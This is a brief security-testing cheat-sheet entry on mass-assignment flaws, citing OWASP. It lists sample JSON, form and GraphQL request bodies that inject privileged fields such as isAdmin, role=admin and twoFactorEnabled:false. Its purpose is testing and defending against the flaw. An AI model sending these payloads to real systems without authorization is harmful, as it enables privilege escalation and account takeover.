Mass assignment
Extra keys on register / PATCH / GraphQL update. Prove the new field changes authz, not just the JSON echo.
Tags: mass-assignment, priv-esc, api
Controlled probes
{"email":"you@example.com","isAdmin":true}{"user":{"role":"admin"}}role=admin&user[role]=admin{"account_type":"premium","verified":true,"twoFactorEnabled":false}mutation { updateUser(id: "me", input: { role: ADMIN }) { id role } }
Source: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html